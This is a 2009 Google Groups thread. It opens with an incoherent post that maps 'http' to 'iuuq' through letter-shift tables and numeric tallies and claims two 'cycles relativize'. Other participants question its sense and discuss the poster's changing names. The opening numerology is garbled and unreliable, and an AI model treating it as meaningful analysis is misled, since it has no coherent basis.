TU
t= 6
6
u= 6
7
htt= 94 (28 + 66)
iu= 102 (35 + 67)

01234567890123456789
88888888889999999999
IJKLMNOPQRSTUVWXYZAB
P=
8
7=
=87

http=181

01234567890123456789
00000000001111111111
11111111111111111111 CDEFGHIJKLMNOPQRSTUV
U=
1
1
8=
=118

iuu=220

01234567890123456789
22222222223333333333
11111111111111111111
WXYZABCDEFGHIJKLMNOP

[Quiet]
0
4
1
Q
#
140

iuuq=360 (220+140)


From this point forward the two cycles relativize.

Richard Heathfield

unread,
Oct 24, 2009, 9:16:10 PM10/24/09
to
In
<1da83048-ce66-4423...@z34g2000vbl.googlegroups.com>,
Anonymous Number of People wrote:

> Mr. Prochak:
>
> It parallels http like so

<lots of stuff snipped>

I'm curious. I know I shouldn't be, but I am. Here's my question:

Do you truly believe that you're communicating useful information in
an accessible way?

--

Anonymous Number of People

unread,
Oct 24, 2009, 11:01:04 PM10/24/09
to
On Oct 24, 8:41 pm, Richard Heathfield <r...@see.sig.invalid> wrote:
> In
> <6ecc7c84-beff-4e18-a845-4959df4ee...@b18g2000vbl.googlegroups.com>,

I accept it. But however, I am afraid you do not understand the
question. How is it several thousand lines of text are generated by a
single post?

Thank you,
Martin

Anonymous Number of People

unread,
Oct 24, 2009, 11:01:37 PM10/24/09
to
On Oct 24, 8:38 pm, dorayme <doraymeRidT...@optusnet.com.au> wrote:
> In article <X6WdncsZ2ampAH7XnZ2dnUVZ8sRi4...@bt.com>,

>  Richard Heathfield <r...@see.sig.invalid> wrote:
>
> > In
> > <6ecc7c84-beff-4e18-a845-4959df4ee...@b18g2000vbl.googlegroups.com>,

> > Anonymous Number of People wrote:
>
> > Please learn to use one name consistently.
>
> You mean, so it is easier to filter? I agree and have been having a spot
> of bother myself. <g>
>
> --
> dorayme

I will do what I do when I do it and some times I change names

0 new messages